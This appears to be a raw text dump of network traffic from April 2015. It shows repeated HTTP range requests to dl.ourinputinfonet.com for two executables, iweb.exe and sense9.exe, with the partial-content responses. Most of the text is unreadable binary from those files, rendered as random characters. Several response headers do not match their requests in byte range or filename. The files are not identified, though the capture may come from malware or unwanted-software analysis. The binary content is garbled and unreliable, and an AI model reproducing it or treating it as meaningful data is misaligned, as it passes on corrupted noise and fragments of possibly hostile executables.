.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$......D$.\
.D....tE...|.......T$...$..QQ.<$...sE.S.M..E..D$...$...uE.PP1..

<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

...

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:33 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429323948"

Last-Modified: Sat, 18 Apr 2015 02:25:48 GMT

Cache-Control: max-age=3026

Content-Length: 250000

Content-Range: bytes 750000-999999/11078841

Content-Type: application/x-msdownload

X-HW: 1429342533.dop002.fr7.t,1429342533.cds023.fr7.c

Content-Disposition: attachment; filename="iweb.exe"
 ....b.&...c]...x_...-Hz......"X...r_[.{...)......*...jfk7.4f.z1 C....
e..0...j5.....Aa[.Z...V..........Pw6.4XI. v:W..>..b"....l..8.:f...8
4cX.....Lw..D..-...q4^S..DQ.[....J...H.X!.....f7...W.c..g.83V..,d/v.*.
.4.O.....B]..\.Jq.....4z.....vkR.|......H...9..ma<..Js...0L....e[..
.p.h~. k$..I.k$..K.K]:.h.y.0.O.eAA.}. .s0...i....}-..#.8...5.t../.~p.n
...ON...n.TRu...............[ .f..f.i........Y...o...D.[4{.B.(..}..H..
..3.V1..'.._..........g.V.4...`.Wu.U...._......!M..h.L..m. . .. ;g.&..
.l......:.......'.PO.U.d....v.e2d-......W.N........%.UJ.c...3.].R..Xf.
..hQ...G....).S..=.lA0..p..DU....e9.....H.......R..0..p.H....U.r".CYb.
.|.....%....g....^/ .rY.T......$.. ..W.......h.."....1.../.ttaM..&...j
r}. ....mp..~..A....s\...........~G..&.....f.....EL%....Q...inR.......
...0<1#..o....(.;e&V.q......R... ..y....Z.......8....(........b....
...q..LC...5..-.u...x)2..)..Da.E.......9#....p..:O..y..y....K< VK.M
..V...@4a~...C.#..v...........h.....r!....t.<F..l....tx.R-.........
..w...zg..U...0_!.Q......5........wy...Y..T.h.....QJ..6.Y.hK?l Iol.)..
..&r%N.....!O.y{.~..Tp...M.k3...Ymvz......u-....d..t. .......".}...T..
.7~2p........7{..;H...l2.1...VA...g..~?.!D.e.gV?.*.e..Q..b....=.......
Q..U......`9....?..%....\[email protected]`b..1e. ......."DI.......F..R....l.lq.
 .4Ss)..f....YZ...J]V.........<N..Q..Fzn...."...U.>....A.[.TJ.i@
.^.[]...q?.WrAb.\2o^....7....Y..7.`n&.8.s.Q....$=..K...7...........U.d
..I...*[.LC.[Hn.=3g6o.A_...!.Q0....[.....y.....[.~...V.._...h/C...f&..
....QL.B.Kc-.:l.......=.4.....:OF. ..j...!.B...#.a.A.B9.k...A.F...<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:33 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429323948"

Last-Modified: Sat, 18 Apr 2015 02:25:48 GMT

Cache-Control: max-age=3026

Content-Length: 250000

Content-Range: bytes 1500000-1749999/11078841

Content-Type: application/x-msdownload

X-HW: 1429342533.dop002.fr7.t,1429342533.cds023.fr7.c

Content-Disposition: attachment; filename="iweb.exe"
.w.........d&M.....r..q....Y......E..4......u..........P..S.\.N5.....u
..C<S....T.w~>.E...6.....v.~L....X...iY]....ZM....s...D.A..'....
.x...'. .0$U~..#(m.l..|...........l..........xQp...;..8..[g...........
.....].|W..o3O..iB&........,5;q.....r.|[email protected]*}.M...B.M...
vzk..)....]..W1....y%!$....`......-.K..(../....)..m.}.6.......?...e.'.
>([email protected];,r]tb...b..s0'.0.#pOf.$.......O;.....
.....m.B.........T.^..7..av.Px..>S....D.si.q.6....>.1..d...v..I.
....\..=.|r...W>K.....I.s..m1z..Q..'.m......Y.z..^]S......ye..n...D
......6V.....m....B..\.l}.......u[...:4KM....7.q...h...yl.......e_.q..
d.........;fc....#O/[email protected]<i..t.h~.}.....
.7h............I..}.T......|..% ...t....W..._}^g.c... y...X.`_....J..@
U.u..\........0....G...h.....-..0.N...$......GD.*E.l%r...R..8.G}..9...
J...`...o..4r...................*K.."b...h.Y..F.......`..d<...3]PJ.
.-.O.-.a....]S. J....I.)E/.j..W3....G..fZ...V..D..)....dl.. .l.....D`.
..n..W.F.).....|.H;.@(<V.$.4.....z`/u..d..y..63......o...5?u$..3...
02F.1.\t{9d. ?Ie......}G...'..go.......}...n.AW^t...G.......o..|...l..
.ak.R7...DQL.VR./Y.5...2?.Ik... ..........^;.%l.|uN.%...77I...l.5...Sc
P.9...a....F..5p....:........E.P...q..`..iJ........[q;.nN..*..G...$...
.-.'&.._c....o..d}7.Z?..v...].%...C@&N.S.5..#.a...0>....A.J..q..a .
.4......D......c.R..\.D1...J)....r.......Xq..c.e..U.....>..9.i.~.p.
=N.3...D......../ .l~. ..A6.f....4?...u..#lS._.!.(......{q.L4[8.LS&...
.,....j.,= ..{[email protected]...^.i..5.....{...2..@...}..u.....l...X...C<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



.9......5..dW..f.....&.......E...24k~..!.b...6}RF.......T...k.p.Q..Ni.
.......K...a=.h.$.r...............w...U...zGe.oX..0.r.|@...z.)c..5G ..
7 ...A..........!.mr^.=q.....f..<..8.Ap...@c.@/r-\D.C.rwCD..>b..
.q].2...5..t........X.N..8..6l.>~Wy3.HoB...H....W...#!P"..tN.#.3...
.I,.r...U..,....Rn.6.r$_......[{9.....Y......mVc..dK...{<.........W
X..F..a....^....0.qs...y5..;.u..7k..2......I.b.......).o..Q.d.\/..r...
y..\k...v....Y.. ..B]Z.........s4.o\.-Vdr.........c.$Z.oc........M}...
.B26.&.Z..>{..b.&j.E?s.).7....5.9...4.....!.....L...Vol.T..r.....w.
#..._OlU............S.....G^.'.U..d7r................X.C..VH.7..-.C..c
..N..7.1.....m.i.......8.....I.:1......%........>=/......p'.:W.....
.N.....^..P.z.vy'....z...^..:'..E?.e.o...q2.o./^...)...9F...j.]v.r..x.
 .g.vy{K...xA..i...T..E..|.Uv.3.}D...).......~...T2.....I74z..o..V...N
..0.L.t.N...\.}... ....Ys.`f.b....,.FE.c..?..).........DHY...6.....q..
[email protected]!w...,v...^.v._..x....8OG....y_.N..{...>U..R....v...}i.F.C.
..S../M....M.Ty.~p5..z,......=&!...<...9...r$.<...'....H~.gE4..?
...(.D......7..P.....$......]4FJ......]........d.7....}...X.m..1...F..
.V."%.}4...mrF...n.......'.P...s..t..s0.!.Tv._)......;z..DG..{ssS....'
.h.R..6A.6....|.|...3....J.%1..N..t...W.Z.A..... z.M.'.GX....{.!...Z..
..B......h..5*[email protected].........[.p..wk.Z ".}N.h.Z.`.%R
.t.8u...*AB.TTaE..........y.K.oH......`u......D.....v.E$..'....f.....`
..M.I.e#...F.~.........&.4!P,..}[email protected].%.
..Ta..@#.EA.,.:...o....l.3m7(.....W.6......B..`1... .W.....f!.,...<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:34 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429324421"

Last-Modified: Sat, 18 Apr 2015 02:33:41 GMT

Cache-Control: max-age=3497

Content-Length: 250000

Content-Range: bytes 2500000-2749999/11067516

Content-Type: application/x-msdownload

X-HW: 1429342533.dop002.fr7.t,1429342534.cds023.fr7.c

Content-Disposition: attachment; filename="sense9.exe"
E".kJ.T....wjo..k....9... .g)#..o9.". ..T..#..o. g......a......(...D..
.)........ 2....DE....O..0ge^?.[Wr.`vDV.D..A....$3..6.b.L[.<..-....
*.y......R..V...%..T.....A`.1....sy...Uw:...."..*,.......6R8...v.?...e
kZDz....L...}<....g.t.sCV....7.jl.....R.6...O..?.*.Xn....B......Hq.
k........Aap;..\Fq....NDa....]D..<.....(r...]..h.%.#......Hm..`D>
;. .;jY.N.d.2..S....xv..L[.W.o.m.%).\...{S..<......H...*...p.6..8..
..Tc1..n.!)u.O)h$.l.......`....F._.`.....>..4;.!u.....;....Q...'..t
.g.......i).~....b.e. ...dQ..b.%.?....Z.}A..|:..}.%..q..&x_.{n.$......
......)s..:..N(X../.....,k.......C|....PNC...]......y/..m1.....@...<
;..v....^i.is...j?.q.?2.....>.-...F..L......#.1...T....y.W....!....
...e.IxVB..N..h...z...Mgb2..G.r.......`K.....`[email protected].../VDy.oX.p.
..f`._...pBno........V.4....;.. %..dp...9.a......?1.Z..x\....K.#.b.!..
.a.Jq..e`...../.5'........w...X....."...m..2{b5..?.....8...;.N..{...%{
..d.........e.m....E....e.".2....r.;~KM....-P..]..gx...j..l...c..I.7..
...y03'....nU.P.w.....M..&.9.:...l`/1I..H..lv.P.......ykg.........;0J3
.Mu.3....z.K..........g8K.j.T........W....y.....p.....Q..I..s..7r|....
.<.XPi......6.?.....M."...B.)..%.s.....9..=:...h....".....|....Pd!.
.B..'u.S........'...*E...M.V....I...G..........9C..Z...l|.....P.c.h..E
.I..]....X.D9a....o.]..n....L..F.#.....i......".1...l..1.._2T!.#;...7w
....p..<.k.0]V.Za.lE..r....$........X.N...#..Dx4U~.....05..Q;.p....
...00_.........R7...._.bGzU..vF...;.....;....3..k.R|..#...wf.1..,.....
..O!.S....u......Oh.#k......m....u.?..K........T.....^..U...k2.~.f<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



e_..&..r..gE.v2......qw.b...gQ.3......]<.;...0.<....9..%.....l..
..#{0.....%..sJcHOn.....8"...r.p...q......m_ &W|XF..u...xZ.7......j..O
v.....p...).....I.3./K...\.x..b~$..4.[..v.*3..&M.ko...N...E......|...`
u..&...!.9...B,.......e%.9k..........s>...H...QBI.?([email protected](I..
.s].v....w..-..H'B....yn1.H...c..#p~...P._.....}.pE:.=...0..T#...;....
n.]....u...............R.....S.vx.A...l.;.......V~Z.....,.......n.!...
%..:....T.R8xb.L.)FheS1./...Z;%.......G ..U.^^......f..9G....F.T.!.*..
...^M..f."1"!3U.s."n.=.e....S._Q .].L..l...z|.6a..AK..\........C......
........w5...bV......F..j...1.j..C...k.<....1.fS..#I..Jh...'X.[..}.
.j5...o).....,.....E3..R.@.$).C?w........8.]..Az!.Es.L.Y......-.Jh...v
..;c.'..uL....h......m`Zi...{.....,...C}eh..v.S...N%....B..p.$W. .. _\
.x[.F.)..o.L....;.....<...l`..Z.([email protected]..|..R...&d..qB._.^
.%%......8.....^........ %.V..!I..yv.....)..\ZY.._qIq..;... H.t..&.:..
...3A*k.`.a.&..V.z.KP..*.l.L.R...`N.../).I.Eh..T'.u.....)Q.R.s....s#m.
*.....Z.3.......y.q._;q.!/'.........8<o .Cr5..6L...i...!nFg...:....
Q........._T,..$.. .|5...n.&y..d..j.&.1Y...t...n...W....D...:6.N.{..H.
....V.y....?.........m..:.d'.7.F28..D.....O>.0.n.....e:L..].[NZ..f.
.....o=...*........[..`.O.Td..:.q..;V........V6Q'......{....)..O......
....mI...'....q)...*|...5.zI .c.9..<F9.x.. [\........%x3.?.O:1...SN
n.E.\j.........o...e.~.T9...H...H...u..q.zv....B./Ov......".$...o.....
.I...mq..8.6>x.......|.ZW../..\o.{..#|p..i...ZF..eW.z4.d.....'O.A.4
.)o.u^.....I{..`.x..w.......<,......s.3..K{..$.....}X.2.p.~ag.z<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



$.'.(=?V%S.c.?.....}......t......s...Vf....?d?p.N.............a.t.v=. 
D..._.M....-,.0.....v........%...%.aYM.............j.B..I.....V6.<.
...4..;l........\V0Gz../....1......$E..db. .....t...kW..K...G.H......I
Z. O..rM......Ql....Xhx&...T...Z_{Mh..y.3._....I.0&g?..!.......~n.....
J...um.J........O.B..>;..M4...1.X.e.d.].....8o.........^......4*.w.
.k......b.;...!..-.K.x.U$f1....1..6S..>p...c.GdlY.......Z.mh. .t..H
..>,h:0...$...t"$....k....t'.g-v.....H..(m....qJ.)..U|FpK...V......
.v.]....I..?.#.L9..._.....t..M..:...`(.qhA.*i...7n...4..b......^.I>
..U. .H.SO.w..........hIs!..g:..K..ZGx$.3P..M..V.b..2..j......{...X3..
_.QP...yp........&p. ..3O.........[.S}<~..!....~.h5.u......[./.$r..
..u5....Y..*....../.Dx...!}.st..x..[..|m..v/.../ .....c$F....Xs....V%C
$J..p.e..%....W....=m=......u..y^.^?.z.#.*r.Y...H..oDJ.\...b....:.....
.'..........@..\....?4f...6...Fp.!.....w.x...rT!...z....".}o..VO.Q..sy
qq /........6.][email protected][email protected]_[..?.......Ez.4y..r...
......^A.UVw5.y...H=....=T.&f.Xq .1............\.|...k.#...2.U......c.
.....&q..\.p.s.!.\.2...Ho...s.{..t.r.i.z.....nI...oN..K.P.....!>bX.
..%.M.5.%.03....Ay.j....F.Q/l..e0.s._D.a:/d..#p.ro.....=.x.e....../.1x
k..]d.L...*/ T.E....^.*&.i...z.....p/.x..u...|.8...af..iPR..O.c&3.....
....)..J.......L.........w.0.....4X........8./..].,..V/". ..O.q.j0....
GJ...0&vE.o.D......rmB;....].Vin..'..........!g.-.W...xO.gAC.....%..%.
H.Y.{..#......zx.h..=*.u.C.~.`.......U.o..g.=.%-S.9q.;3....8$.....%k8.
.....][email protected].........<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:36 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429324421"

Last-Modified: Sat, 18 Apr 2015 02:33:41 GMT

Cache-Control: max-age=3495

Content-Length: 250000

Content-Range: bytes 3750000-3999999/11067516

Content-Type: application/x-msdownload

X-HW: 1429342533.dop002.fr7.t,1429342536.cds023.fr7.c

Content-Disposition: attachment; filename="sense9.exe"
..V...... 4Z..^.H.. ..P4.B,.t#..g.o...F...$..U].Hj<..u,*..'Z.....'.
%n7f.z.GI.VC....'g..1.V.wg...6..y.....w...o.^... ..P.\..Q]...j.mk.T..C
..?{....xWX~Zc..>............ ..F.......e..]uz.u..........7P.7.K.P.
[email protected]...#Y1...!..<..... q....V.i....{.
.f..8......t1v~#.F.;.]<'.........|......<.8...9 C.l..".g..nO...u
.].W.5......4N....].,...I6.e..J.D...xf.Lpt[..P>7...... ~..Os.$.U...
.?rV/........$7......g...]..-._.....9....F [email protected].
...5t..v._...?..z...D.....S.?......A.M....?.m...Z..9.B.HT..q........JW
..:5..Q\'.g.........&^.:..|.m....;.t.r2.......7./[email protected]_....J"..>..
>$.\w...].&....)Mv/.)....e..]<.\...K....nw#.j.{.L..Z2..&........
..K..6_j!.G;}...3[.G....$.} .}.b.I.N..=...mU...-R...z.D7..j.1../18.8.q
.?..;.3r....G."tM. ......."x...Q=...s..Os..........M.<....2.p6.n".o
._...1W*i..6.c...Y.jA|.[...)..` {.T....).3.....c. SP....M....#.....t..
.,I"..#....%..[.c..Te..U.......S......4.........s..L.c}...m..y~....B..
..#..J........i.. p..]Yv.......L..C{.....O9.K....KezWW...C4Lp.;.v....\
.].S9 ._.N.8 f.J.?..j...1%xn...<F.......,.....9.G.Bw...yPmE.....mN.
.....*.Kr.....p..i...Z...A(M.S.e.4..P.....5.Q}x..)......F/.'i..9.:.d].
.. Cq(..........._.v.a..O....!*......H....P.........(e.XI..C....b7....
._......w.>"....k.zE.........]UG>.C...xG...Z.t*d....D^7..{...N.~
. .....$T*.8.&.7..-G.....:..-v......m....Z<.$.........G-..].....D.8
W.@...,....U'd...&...8.)....A..yh....%..G..".A.an.eH....0.).._.D.FU.?y
..y..:[email protected]$w......k....t=........c.....4.=I ........<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



........;0..........l..7R. ...c.Q.....B..m7..>(..42..X...9.........
'..K...;....v{.Q&V.$....-../XEy1.`.2/..:bm....{ ...g=>PT.^$.D...L..
?..n./...6.LIt..}.E.OpW.... {..{....K....F.w..Y....A..2....R...F-w.)rc
..J.>..J.I.#......hE....&# ...za##....V.\..(8...EB'....E.|M.*.@Z...
......8.....K..w.2..L].l. [email protected]=&
gt;.......6./..j......1j...i6h.*.-.....ln]G......S?....."q...LG}Uj.].6
...D.z.. ...f5.....ch..H..."...........a...}..T..[.\d........t\s.O[...
..w&.)6...G4......=._..._6f...R..'....9f.r.'N.BE'.......^-..)..9)....y
Yl7..$.b8...:..'Dk.H *.....}{1W..ly.SxH......\?`.8./>d...G..M.=....
.....l.O:...H.9..t........v.......hb...H......TG.v.v.. ..?...[8.Q..dX.
~d0...G ......E.AZr..\bV....q..$$B.2K..wJ [email protected]..,c..
..).V.z.c|D.*Z...`..X....m.i..........(...v.....N^....>...hz.>yM
 (....b...!...GqEi..Z........U..2J[..>.V._a.A.......`...U.......|Y.
[B"T..B...*i...K..z...]SvmiG..{ ..q....:_.J.fl../.cv..zx5.:...=...o..,
..&W.o....T.(8...CM:..=`_~5F......u.l...L.B.[.A.................=.Y...
b........Rz...m..0.....9"......Z..7.o.9....C....y.D..>Z...U......e&
!....7M..R..x...=Lq...&=].<....e.B.w..j.dk.7w.C.D....8...$#)o..v.).
#.g...H_L...>..T....R."{...B.....`..wv............C5.=.|.|.....3...
.-o.Ra.(..Rr.7I].~.{..*@....#..5.9...-'@.geOM..-....Q....R.Q.....V4.@W
.v.....e..{__..eGJ......{....$a..Rx......U../..y........n.q..P..(W0#[.
.7..'E^....,t..,.?.XF.6....$p.<.l..k........a.h.!..^......6d.t....L
l7.qk......KSW..y....N1~....EK.~..*...7.j."A...3.\..ZC.P.&.(.I....<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=5250000-5499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:37 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429323948"

Last-Modified: Sat, 18 Apr 2015 02:25:48 GMT

Cache-Control: max-age=3022

Content-Length: 250000

Content-Range: bytes 5250000-5499999/11078841

Content-Type: application/x-msdownload

X-HW: 1429342533.dop002.fr7.t,1429342537.cds023.fr7.c

Content-Disposition: attachment; filename="iweb.exe"
....E...A^[email protected]........~...........6.....V..4.(..
.n....8ao.(C.L....<.#.<.V.c&69..E.3.I1-. -.O1...^;.A....H.U...[)
T..z5.=...{9..d.nq...{..y.L..c.|kk..p.?Zz...dz..J.......*..u.A.&......
_ ^......Pn:...N7..!..KM..8i...<IvhL.....x.9Q~...o..n....]k.L)y....
./.jA...........Z....#...0...o..s_./.x.f..KQ...y...Z.2.L:..Y..e.;c....
....M..P..)..LIU..}.g..z..|o*MDp?$e..b.K..?..[z.'.../..x.RM?5.:...\.%.
i....J l ....!. ....&h..oyE..E......1Sr.....".....(.C.....A......1..Z.
...O....h}...z.&..g0D0..=Je.y..8.?.:6..o...&N.{.1s...2.....<..-.s..
[email protected] ...U*.....G.L...,.p..>...u..;.L&.(...y.2..n..M.M...
3i.%.d...D.mm.....U.tp.....=c.".....f.K....J.S=I..-.l{x......}........
........mn..n{.._Dp....(....S{`...p.#..4.H._es..5....N.tD.?.v...z.....
.-...k-f...U....6..VyB..O6......GkV.{:....w..|.......3..M. ...d....AN.
V....Gt=.....=0C......ky.......v.0>$..V.B"....8.).w._....j.;.....?e
:>.....l...H.......6.b.$Q.....;}!CO.~...M.b.....W.f2.....}.........
..^..w.U....J.......t[*.g=.*..zg..m.........kY......s........(....<
jee...I...M..0....r..Vo3..I0.............3.A....[.f<.&dO.%o"...>
.....y..\....*j...}....Ad.&..I,..,..3q..$..."..m..r!L\.v....(E.,...z..
........;.b..?f.U..~;.".`[email protected]......
..n..R....e...B.......:S..-x.(..x".TY.[x [.....lYDDos....C.{.g.8yz...&
lt;..&Q$.......'.~....X...!.T*.c....l_ G..^.ni98..S=....p....D.9......
..Uq../>,S..d......nP.'.e6....kL..;]Q0...... .zNm....].......-4w)A`
.. .`.M.j..c.z....t.,...<[email protected]`.....VQ.....s<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=4750000-4999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:37 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429324421"

Last-Modified: Sat, 18 Apr 2015 02:33:41 GMT

Cache-Control: max-age=3494

Content-Length: 250000

Content-Range: bytes 4750000-4999999/11067516

Content-Type: application/x-msdownload

X-HW: 1429342533.dop002.fr7.t,1429342537.cds023.fr7.c

Content-Disposition: attachment; filename="sense9.exe"
=\.b.=.:f9...;.....d..>.......'gD....}.....k.'.I:v..N.!. .z..v.u..;
.../...Q.....o<..".Y.0:..h.1.T.U.w-w%..7..(Y9..Yj>.O..~..Y&..j..
.CW.u./..=.3...d......G.)iP......Sml......|l.K.G......&q..."..B\B3\...
..*.....d.....1]...\.>..l.... ..`..7...;..7s..s.F......-....I9.<
.0.G.......G..{.S...,.u...$.t.......Wp.^.1rE.hsL.....x.d..U.k.w!...h..
[email protected]_d\I ......L%.ir^.........P.Q.........i..^....`G._..3V.
.o...W.....p.`...Ob..)."{.._n....<..~0... .;\.=&K.]>S.....]M....
..dS0..=&.BH=....}....B..'3......(Y.;.....%.....=.E..\[...v..]h%.."..)
l.VR{. ...wp.2#).y....3;UZ.Me[$.B9>..-.!e..W....C.....c/.......]...
`..........fa.]Ho]Wn&H^... ...X..7..GG|.p>..8....h&).g..kSV.i{.RO..
...l..n.....0.....1ib{E.=Z..r ...}.[...... .. .b...i%.....'..~|.%.N%R.
......pX.z.(n'...pr.shW.&. .1.H.k..2..c.r;.AL>aqK....'k...mc..I:,U.
.....Vm....jw\...`G.`.#$.:.|..G...5..Z. .,..e...J.....h.I^.7.....Z....
,q......d%...M........s...8@[c.B.6.,... ..gpT.. .y.......m....C.`...XL
...Q]'......Zf.f...Uu.&.;sf[..#^..T.qD....,...=..b#..8..b.(.<0T....
4...V......$..Bh.w.=4.x..m..B.y..7D.F..=..4.....?..L.0cym......|..%...
.Etq6V.0..t...XDA."Q...z...UX.WN1l......7nn....]O|.....Lb..k...G.i.8..
.>T.=3F.A.....H.mp.(.5..}...".b. 0s/....y.X...Zd.Y.....#{.zP"...6O.
..F.T<...../r.`..S.[..u.Mk....[.._..r.......{..C......E9l.#z..N){.]
.x.a.tv?..=3g.^.....tl..x..u..g.E.0u.....'5[OQ.v.R......a.z..;.);.4.S.
......:l...X...;..#6.....s"..Jx..............x..M.`..C....j.%.AB_>.
,&.ui..L.>..Va.....................#.j...#V.....*)......i...3..<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=5500000-5749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive



..o?...R....K.....6.........Az...b.^.?......j..;|....Q..g....hi....,..
...A...\.*O..P....O.i.qSm..p.....w}Z..r..f...j..^.........|fK.U4..$sP.
.-.(...u..7Q...N...............~...3}.?..Ga..w.lWMN...L...Q.n.a....!,=
..oG.S{|....P...J.[v..PS.A...T...efSw.:..@.?...2g..|o.lAo.8.8.9...../.
..{..Mv...m.S.....F!....C....t.h>9..3GW..PB..S.).Ja..~... ....C.n..
.............*.!.00...;.....&.......|...7...3.d..[F9.Mpz>I.x9.g.|.J
[....^[..\.T.<.|.h....[.3.f~...%.:. .........p....4.....G...cEH.v|.
...X..n..k)>..../.....*..ax....I.`.w.7.Vz.p.y2.B..W....>..je~...
0r./n.........^\.....L M....*[email protected].#...2G.Oc."..k..ex..(Mw..4ez@..
.......U......l../Q.....~.........,....?.r~..&[[email protected].
...T..CG'.......q...-......P.p..mW......N.....GyA. [email protected] . 7.....N.b
Lo.E~..C.........m"Bk....).....O*..e.G..kK...J..#......i..O..G..M../ZC
...W......2.l..L/..>....].R!.lY..v...O2u.5...(.....lo.s.br.q.......
o'.]..O9...L.........f....H.[...`...g.....N#6.;...a.............J..K.*
z...~.o.|_,..8..pr.2P#...|...p.....J.,..W...b....K..fD.oTIG.B...R[2...
.M.z.W8......].X....e.(~.t..Xn.........:......]F.Z...4rzz|..........DR
......<vr....H&..a.eY).....a.......e....C....=....v^..~Y.......L`.k
4sd....:3..K...|.%.Y,.v2T..}O.....U..p....b^Q.....N...l......H....z2..
.....r.,n.`;.z.....z.....Up.)..... .DA...TLj...)?.X!..KG.o'..U....... 
....G.i..u..h.......X=..C.......w..C.4..V....Y.M(x......^].D.<@....
.[k..p.}.H.Fs......8dd.R.N..6.....F.u....l...3.n.....Cd..%.....es. JAl
..1.p..=..E.k...Q.....5W^.k}.~.....7R.-.l_.C.&.5'.._.K!...c.B.....<<< skipped >>>

GET /spd/shopp/iweb.exe HTTP/1.1

Range: bytes=6500000-6749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dl.ourinputinfonet.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:38 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429323948"

Last-Modified: Sat, 18 Apr 2015 02:25:48 GMT

Cache-Control: max-age=3021

Content-Length: 250000

Content-Range: bytes 6500000-6749999/11078841

Content-Type: application/x-msdownload

X-HW: 1429342533.dop002.fr7.t,1429342538.cds023.fr7.c

Content-Disposition: attachment; filename="iweb.exe"
[..Oz..ef;.p7B.......K~5....Xi.Z>L...i.Q].0...<..T.Cz......k.7N.
.....q....2...f./.f....L......r....K...{C.......;.......:..'....s^..s2
..<\......ti\;.../..&.......v....S.,k.)..$"....NTI.Xx?...f.$.......
.....R.....u.*p....J|m......T[&R..........w.k.....V.$...... ...Z..C.[.
.r.H^.r:....W...`BA4|.........=..b.Hi.Y...e....?.b..;.j......,8.i..Z..
lV.R..t..B$[.%@...t..........(.6.O... 0N..z....#.....g.F..;..)G6......
t...;j...g.......z.r................W5. ...;......5.cV/.,[B;R..iR.....
{K}dw....o_..-..YD,..n`..w......\..6;,._\/@-.......D.=..8.0Ju~'.R?.G..
M......7......... b..g.e.I6........C.a..%.`.. G...."..i..e..!*2..S....
...O...tN.M..1_ ......$....k.U.)b.k.C.:b-...oSN ....k=.b..nvgy6T.-r...
....5..V%..BPc..1..|.v...........4.I.B'[..G37......ayni....~.........R
.........:*..}`.2]j...~..>..........F(...b..b..~...!..u3A.........1
....1.....&....x&6..3...._.... .....2.....J.."...J.......V*.8.`..[....
.>.\....^....C.. r.eD{.I..[..`8....|......n..w.j..U...._.....?..0.!
....|.UsX9#_E1.....M....39)....34.{......W...|...!f........f..o.)|...C
c.r..i......D6!Ke\.pZ..LD..?.0................R.3E.I...H.........bg/Zv
...1.6.r$.~....V].J.l'>V.\.%....)...f..Cb...l.j..E..&.O...$...P....
;C.A....I.K..l...0...$.}.....0.7..............!.!6B.y..V..;A...`.B4..8
.^7\Kp5........6T"..Ur^vt<..u..a#4l....!..."..9..V#.UEo.6._........
p...e,...u.L{....$h~....../..'..L...k.K.t.6.b...Wk...Z.....qI...7t.5..
.............E.M."...C....PT.dr.......9n..&l. .!*.*.#[email protected]
....d.}.]..$>.y.P..tB.!.X%:...._.@*..b..Bx..~.....9.qw...1.....<<< skipped >>>

GET /spd/shopp/sense9.exe HTTP/1.1

Range: bytes=6000000-6249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

